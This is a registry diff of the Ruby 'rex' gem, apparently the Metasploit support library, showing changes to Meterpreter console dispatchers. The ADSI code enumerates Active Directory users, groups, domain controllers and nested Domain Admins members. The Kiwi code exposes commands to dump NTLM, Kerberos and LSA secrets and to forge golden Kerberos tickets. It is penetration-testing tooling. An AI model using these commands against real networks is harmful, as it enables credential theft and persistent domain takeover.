rex 2.0.8 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
|
@@ -26,9 +26,12 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
|
26
26
|
#
|
|
27
27
|
def commands
|
|
28
28
|
{
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
29
|
+
'adsi_user_enum' => 'Enumerate all users on the specified domain.',
|
|
30
|
+
'adsi_group_enum' => 'Enumerate all groups on the specified domain.',
|
|
31
|
+
'adsi_nested_group_user_enum' => 'Recursively enumerate users who are effectively members of the group specified.',
|
|
32
|
+
'adsi_computer_enum' => 'Enumerate all computers on the specified domain.',
|
|
33
|
+
'adsi_dc_enum' => 'Enumerate all domain controllers on the specified domain.',
|
|
34
|
+
'adsi_domain_query' => 'Enumerate all objects on the specified domain that match a filter.'
|
|
32
35
|
}
|
|
33
36
|
end
|
|
34
37
|
|
|
@@ -36,46 +39,127 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
|
36
39
|
# Name for this dispatcher
|
|
37
40
|
#
|
|
38
41
|
def name
|
|
39
|
-
|
|
42
|
+
'Extapi: ADSI Management'
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
#
|
|
46
|
+
# Options for the adsi_nested_group_user_enum command.
|
|
47
|
+
#
|
|
48
|
+
@@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new(
|
|
49
|
+
'-h' => [false, 'Help banner'],
|
|
50
|
+
'-o' => [true, 'Path to output file.'],
|
|
51
|
+
'-m' => [true, 'Maximum results to return.'],
|
|
52
|
+
'-p' => [true, 'Result set page size.']
|
|
53
|
+
)
|
|
54
|
+
|
|
55
|
+
def adsi_nested_group_user_enum_usage
|
|
56
|
+
print_line('USAGE:')
|
|
57
|
+
print_line(' adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
|
58
|
+
print_line
|
|
59
|
+
print_line('DESCRIPTION:')
|
|
60
|
+
print_line(' Enumerate the users who are members of the named group, taking nested groups into account.')
|
|
61
|
+
print_line(' For example, specifying the "Domain Admins" group DN will list all users who are effectively')
|
|
62
|
+
print_line(' members of the Domain Admins group, even if they are in practice members of intermediary groups.')
|
|
63
|
+
print_line
|
|
64
|
+
print_line('EXAMPLE:')
|
|
65
|
+
print_line(' The example below will list all members of the "Domain Admins" group on the STUFUS domain:')
|
|
66
|
+
print_line(' adsi_nested_group_user_enum STUFUS "CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com"')
|
|
67
|
+
print_line(@@adsi_nested_group_user_enum_opts.usage)
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
#
|
|
71
|
+
# Enumerate domain groups.
|
|
72
|
+
#
|
|
73
|
+
def cmd_adsi_nested_group_user_enum(*args)
|
|
74
|
+
args.unshift('-h') if args.length == 0
|
|
75
|
+
if args.include?('-h') || args.length < 2
|
|
76
|
+
adsi_nested_group_user_enum_usage
|
|
77
|
+
return true
|
|
78
|
+
end
|
|
79
|
+
|
|
80
|
+
domain = args.shift
|
|
81
|
+
groupdn = args.shift
|
|
82
|
+
# This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent
|
|
83
|
+
# https://support.microsoft.com/en-us/kb/275523 for more information -stufus
|
|
84
|
+
filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))"
|
|
85
|
+
fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
|
|
86
|
+
args = [domain, filter] + fields + args
|
|
87
|
+
return cmd_adsi_domain_query(*args)
|
|
40
88
|
end
|
|
41
89
|
|
|
42
90
|
#
|
|
43
91
|
# Options for the adsi_user_enum command.
|
|
44
92
|
#
|
|
45
93
|
@@adsi_user_enum_opts = Rex::Parser::Arguments.new(
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
94
|
+
'-h' => [false, 'Help banner.'],
|
|
95
|
+
'-o' => [true, 'Path to output file.'],
|
|
96
|
+
'-m' => [true, 'Maximum results to return.'],
|
|
97
|
+
'-p' => [true, 'Result set page size.']
|
|
49
98
|
)
|
|
50
99
|
|
|
51
100
|
def adsi_user_enum_usage
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
101
|
+
print_line('USAGE:')
|
|
102
|
+
print_line(' adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
|
103
|
+
print_line
|
|
104
|
+
print_line('DESCRIPTION:')
|
|
105
|
+
print_line(' Enumerate all users on the target domain.')
|
|
106
|
+
print_line(' Enumeration returns information such as the user name, SAM account name, status, comments etc')
|
|
107
|
+
print_line(@@adsi_user_enum_opts.usage)
|
|
58
108
|
end
|
|
59
109
|
|
|
60
110
|
#
|
|
61
111
|
# Enumerate domain users.
|
|
62
112
|
#
|
|
63
113
|
def cmd_adsi_user_enum(*args)
|
|
64
|
-
args.unshift(
|
|
65
|
-
if args.include?(
|
|
114
|
+
args.unshift('-h') if args.length == 0
|
|
115
|
+
if args.include?('-h')
|
|
66
116
|
adsi_user_enum_usage
|
|
67
117
|
return true
|
|
68
118
|
end
|
|
69
119
|
|
|
70
120
|
domain = args.shift
|
|
71
|
-
filter =
|
|
72
|
-
fields = [
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
121
|
+
filter = '(objectClass=user)'
|
|
122
|
+
fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
|
|
123
|
+
args = [domain, filter] + fields + args
|
|
124
|
+
return cmd_adsi_domain_query(*args)
|
|
125
|
+
end
|
|
126
|
+
|
|
127
|
+
#
|
|
128
|
+
# Options for the adsi_group_enum command.
|
|
129
|
+
#
|
|
130
|
+
@@adsi_group_enum_opts = Rex::Parser::Arguments.new(
|
|
131
|
+
'-h' => [false, 'Help banner.'],
|
|
132
|
+
'-o' => [true, 'Path to output file.'],
|
|
133
|
+
'-m' => [true, 'Maximum results to return.'],
|
|
134
|
+
'-p' => [true, 'Result set page size.']
|
|
135
|
+
)
|
|
136
|
+
|
|
137
|
+
def adsi_group_enum_usage
|
|
138
|
+
print_line('USAGE:')
|
|
139
|
+
print_line(' adsi_nested_group_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
|
140
|
+
print_line
|
|
141
|
+
print_line('DESCRIPTION:')
|
|
142
|
+
print_line(' Enumerate all groups on the target domain.')
|
|
143
|
+
print_line
|
|
144
|
+
print_line('EXAMPLE:')
|
|
145
|
+
print_line(' The example below will list all groups on the STUFUS domain.')
|
|
146
|
+
print_line(' adsi_group_enum STUFUS')
|
|
147
|
+
print_line(@@adsi_group_enum_opts.usage)
|
|
148
|
+
end
|
|
149
|
+
|
|
150
|
+
#
|
|
151
|
+
# Enumerate domain groups.
|
|
152
|
+
#
|
|
153
|
+
def cmd_adsi_group_enum(*args)
|
|
154
|
+
args.unshift('-h') if args.length == 0
|
|
155
|
+
if args.include?('-h')
|
|
156
|
+
adsi_group_enum_usage
|
|
157
|
+
return true
|
|
158
|
+
end
|
|
159
|
+
|
|
160
|
+
domain = args.shift
|
|
161
|
+
filter = '(objectClass=group)'
|
|
162
|
+
fields = ['name', 'distinguishedname', 'description',]
|
|
79
163
|
args = [domain, filter] + fields + args
|
|
80
164
|
return cmd_adsi_domain_query(*args)
|
|
81
165
|
end
|
|
@@ -84,37 +168,74 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
|
84
168
|
# Options for the adsi_computer_enum command.
|
|
85
169
|
#
|
|
86
170
|
@@adsi_computer_enum_opts = Rex::Parser::Arguments.new(
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
171
|
+
'-h' => [false, 'Help banner.'],
|
|
172
|
+
'-o' => [true, 'Path to output file.'],
|
|
173
|
+
'-m' => [true, 'Maximum results to return.'],
|
|
174
|
+
'-p' => [true, 'Result set page size.']
|
|
90
175
|
)
|
|
91
176
|
|
|
92
177
|
def adsi_computer_enum_usage
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
178
|
+
print_line('USAGE:')
|
|
179
|
+
print_line(' adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
|
180
|
+
print_line
|
|
181
|
+
print_line('DESCRIPTION:')
|
|
182
|
+
print_line(' Enumerate all computers on the target domain.')
|
|
183
|
+
print_line(@@adsi_computer_enum_opts.usage)
|
|
98
184
|
end
|
|
99
185
|
|
|
100
186
|
#
|
|
101
187
|
# Enumerate domain computers.
|
|
102
188
|
#
|
|
103
189
|
def cmd_adsi_computer_enum(*args)
|
|
104
|
-
args.unshift(
|
|
105
|
-
if args.include?(
|
|
190
|
+
args.unshift('-h') if args.length == 0
|
|
191
|
+
if args.include?('-h')
|
|
106
192
|
adsi_computer_enum_usage
|
|
107
193
|
return true
|
|
108
194
|
end
|
|
109
195
|
|
|
110
196
|
domain = args.shift
|
|
111
|
-
filter =
|
|
112
|
-
fields = [
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
197
|
+
filter = '(objectClass=computer)'
|
|
198
|
+
fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
|
|
199
|
+
'operatingsystemversion', 'operatingsystemservicepack', 'description',
|
|
200
|
+
'comment' ]
|
|
201
|
+
args = [domain, filter] + fields + args
|
|
202
|
+
return cmd_adsi_domain_query(*args)
|
|
203
|
+
end
|
|
204
|
+
|
|
205
|
+
#
|
|
206
|
+
# Options for the adsi_dc_enum command.
|
|
207
|
+
#
|
|
208
|
+
@@adsi_dc_enum_opts = Rex::Parser::Arguments.new(
|
|
209
|
+
'-h' => [false, 'Help banner.'],
|
|
210
|
+
'-o' => [true, 'Path to output file.'],
|
|
211
|
+
'-m' => [true, 'Maximum results to return.'],
|
|
212
|
+
'-p' => [true, 'Result set page size.']
|
|
213
|
+
)
|
|
214
|
+
|
|
215
|
+
def adsi_dc_enum_usage
|
|
216
|
+
print_line('USAGE:')
|
|
217
|
+
print_line(' adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
|
218
|
+
print_line
|
|
219
|
+
print_line('DESCRIPTION:')
|
|
220
|
+
print_line(' Enumerate the domain controllers on the target domain.')
|
|
221
|
+
print_line(@@adsi_dc_enum_opts.usage)
|
|
222
|
+
end
|
|
223
|
+
|
|
224
|
+
#
|
|
225
|
+
# Enumerate domain dcs.
|
|
226
|
+
#
|
|
227
|
+
def cmd_adsi_dc_enum(*args)
|
|
228
|
+
args.unshift('-h') if args.length == 0
|
|
229
|
+
if args.include?('-h')
|
|
230
|
+
adsi_dc_enum_usage
|
|
231
|
+
return true
|
|
232
|
+
end
|
|
233
|
+
|
|
234
|
+
domain = args.shift
|
|
235
|
+
# This LDAP filter will pull out domain controllers
|
|
236
|
+
filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
|
237
|
+
fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
|
|
238
|
+
'operatingsystemversion', 'operatingsystemservicepack', 'description', 'comment' ]
|
|
118
239
|
args = [domain, filter] + fields + args
|
|
119
240
|
return cmd_adsi_domain_query(*args)
|
|
120
241
|
end
|
|
@@ -123,17 +244,19 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
|
123
244
|
# Options for the adsi_domain_query command.
|
|
124
245
|
#
|
|
125
246
|
@@adsi_domain_query_opts = Rex::Parser::Arguments.new(
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
247
|
+
'-h' => [false, 'Help banner.'],
|
|
248
|
+
'-o' => [true, 'Path to output file.'],
|
|
249
|
+
'-m' => [true, 'Maximum results to return.'],
|
|
250
|
+
'-p' => [true, 'Result set page size.']
|
|
129
251
|
)
|
|
130
252
|
|
|
131
253
|
def adsi_domain_query_usage
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
254
|
+
print_line('USAGE:')
|
|
255
|
+
print_line(' adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize] [-o file]')
|
|
256
|
+
print_line
|
|
257
|
+
print_line('DESCRIPTION:')
|
|
258
|
+
print_line(' Enumerates the objects on the target domain, returning the set of fields that are specified.')
|
|
259
|
+
print_line(@@adsi_domain_query_opts.usage)
|
|
137
260
|
end
|
|
138
261
|
|
|
139
262
|
#
|
|
@@ -143,22 +266,25 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
|
143
266
|
page_size = DEFAULT_PAGE_SIZE
|
|
144
267
|
max_results = DEFAULT_MAX_RESULTS
|
|
145
268
|
|
|
146
|
-
args.unshift(
|
|
269
|
+
args.unshift('-h') if args.length < 3
|
|
270
|
+
output_file = nil
|
|
147
271
|
|
|
148
272
|
@@adsi_domain_query_opts.parse(args) { |opt, idx, val|
|
|
149
273
|
case opt
|
|
150
|
-
when
|
|
274
|
+
when '-p'
|
|
151
275
|
page_size = val.to_i
|
|
152
|
-
when
|
|
276
|
+
when '-o'
|
|
277
|
+
output_file = val
|
|
278
|
+
when '-m'
|
|
153
279
|
max_results = val.to_i
|
|
154
|
-
when
|
|
280
|
+
when '-h'
|
|
155
281
|
adsi_domain_query_usage
|
|
156
282
|
return true
|
|
157
283
|
end
|
|
158
284
|
}
|
|
159
285
|
|
|
160
286
|
# Assume that the flags are passed in at the end. Safe?
|
|
161
|
-
switch_index = args.index { |a| a.start_with?(
|
|
287
|
+
switch_index = args.index { |a| a.start_with?('-') }
|
|
162
288
|
if switch_index
|
|
163
289
|
args = args.first(switch_index)
|
|
164
290
|
end
|
|
@@ -181,11 +307,16 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
|
181
307
|
|
|
182
308
|
print_line
|
|
183
309
|
print_line(table.to_s)
|
|
184
|
-
|
|
185
310
|
print_line("Total objects: #{objects[:results].length}")
|
|
186
|
-
|
|
187
311
|
print_line
|
|
188
312
|
|
|
313
|
+
if output_file
|
|
314
|
+
::File.open(output_file, 'w') do |f|
|
|
315
|
+
f.write("#{table.to_s}\n")
|
|
316
|
+
f.write("\nTotal objects: #{objects[:results].length}\n")
|
|
317
|
+
end
|
|
318
|
+
end
|
|
319
|
+
|
|
189
320
|
return true
|
|
190
321
|
end
|
|
191
322
|
|
|
@@ -210,7 +341,7 @@ protected
|
|
|
210
341
|
# for UI level stuff, rendering raw as hex is really the only option
|
|
211
342
|
values << Rex::Text.to_hex(v[:value], '')
|
|
212
343
|
when :array
|
|
213
|
-
val = "#{to_table_row(v[:value]).join(
|
|
344
|
+
val = "#{to_table_row(v[:value]).join(', ')}"
|
|
214
345
|
|
|
215
346
|
# we'll truncate the output of the array because it could be excessive if we
|
|
216
347
|
# don't. Users who want the detail of this stuff should probably script it.
|
|
@@ -224,7 +355,7 @@ protected
|
|
|
224
355
|
when :path
|
|
225
356
|
values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}"
|
|
226
357
|
when :unknown
|
|
227
|
-
values <<
|
|
358
|
+
values << '(unknown)'
|
|
228
359
|
end
|
|
229
360
|
end
|
|
230
361
|
|
|
@@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
26
26
|
# Name for this dispatcher
|
|
27
27
|
#
|
|
28
28
|
def name
|
|
29
|
-
|
|
29
|
+
'Kiwi'
|
|
30
30
|
end
|
|
31
31
|
|
|
32
32
|
#
|
|
@@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi
|
|
|
46
46
|
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
|
|
47
47
|
print_line
|
|
48
48
|
|
|
49
|
-
if
|
|
50
|
-
|
|
49
|
+
if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
|
|
51
50
|
print_line
|
|
52
|
-
print_warning
|
|
51
|
+
print_warning('Loaded x86 Kiwi on an x64 architecture.')
|
|
53
52
|
end
|
|
54
53
|
end
|
|
55
54
|
|
|
@@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi
|
|
|
58
57
|
#
|
|
59
58
|
def commands
|
|
60
59
|
{
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
60
|
+
'creds_wdigest' => 'Retrieve WDigest creds',
|
|
61
|
+
'creds_msv' => 'Retrieve LM/NTLM creds (hashes)',
|
|
62
|
+
'creds_livessp' => 'Retrieve LiveSSP creds',
|
|
63
|
+
'creds_ssp' => 'Retrieve SSP creds',
|
|
64
|
+
'creds_tspkg' => 'Retrieve TsPkg creds',
|
|
65
|
+
'creds_kerberos' => 'Retrieve Kerberos creds',
|
|
66
|
+
'creds_all' => 'Retrieve all credentials',
|
|
67
|
+
'golden_ticket_create' => 'Create a golden kerberos ticket',
|
|
68
|
+
'kerberos_ticket_use' => 'Use a kerberos ticket',
|
|
69
|
+
'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
|
|
70
|
+
'kerberos_ticket_list' => 'List all kerberos tickets',
|
|
71
|
+
'lsa_dump' => 'Dump LSA secrets',
|
|
72
|
+
'wifi_list' => 'List wifi profiles/creds'
|
|
74
73
|
}
|
|
75
74
|
end
|
|
76
75
|
|
|
@@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
80
79
|
def cmd_lsa_dump(*args)
|
|
81
80
|
check_privs
|
|
82
81
|
|
|
83
|
-
print_status(
|
|
82
|
+
print_status('Dumping LSA secrets')
|
|
84
83
|
lsa = client.kiwi.lsa_dump
|
|
85
84
|
|
|
86
85
|
# the format of this data doesn't really lend itself nicely to
|
|
@@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi
|
|
|
142
141
|
# Valid options for the golden ticket creation functionality.
|
|
143
142
|
#
|
|
144
143
|
@@golden_ticket_create_opts = Rex::Parser::Arguments.new(
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
144
|
+
'-h' => [ false, 'Help banner' ],
|
|
145
|
+
'-u' => [ true, 'Name of the user to create the ticket for' ],
|
|
146
|
+
'-i' => [ true, 'ID of the user to associate the ticket with' ],
|
|
147
|
+
'-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
|
|
148
|
+
'-d' => [ true, 'Name of the target domain (FQDN)' ],
|
|
149
|
+
'-k' => [ true, 'krbtgt domain user NTLM hash' ],
|
|
150
|
+
'-t' => [ true, 'Local path of the file to store the ticket in' ],
|
|
151
|
+
'-s' => [ true, 'SID of the domain' ]
|
|
153
152
|
)
|
|
154
153
|
|
|
155
154
|
#
|
|
156
155
|
# Output the usage for the ticket listing functionality.
|
|
157
156
|
#
|
|
158
157
|
def golden_ticket_create_usage
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
158
|
+
print_line('Usage: golden_ticket_create [options]')
|
|
159
|
+
print_line
|
|
160
|
+
print_line('Create a golden kerberos ticket that expires in 10 years time.')
|
|
161
|
+
print_line(@@golden_ticket_create_opts.usage)
|
|
163
162
|
end
|
|
164
163
|
|
|
165
164
|
#
|
|
@@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi
|
|
|
181
180
|
|
|
182
181
|
@@golden_ticket_create_opts.parse(args) { |opt, idx, val|
|
|
183
182
|
case opt
|
|
184
|
-
when
|
|
183
|
+
when '-u'
|
|
185
184
|
user = val
|
|
186
|
-
when
|
|
185
|
+
when '-d'
|
|
187
186
|
domain = val
|
|
188
|
-
when
|
|
187
|
+
when '-k'
|
|
189
188
|
tgt = val
|
|
190
|
-
when
|
|
189
|
+
when '-t'
|
|
191
190
|
target = val
|
|
192
|
-
when
|
|
191
|
+
when '-i'
|
|
193
192
|
id = val.to_i
|
|
194
|
-
when
|
|
193
|
+
when '-g'
|
|
195
194
|
group_ids = val.split(',').map { |g| g.to_i }.to_a
|
|
196
|
-
when
|
|
195
|
+
when '-s'
|
|
197
196
|
sid = val
|
|
198
197
|
end
|
|
199
198
|
}
|
|
@@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi
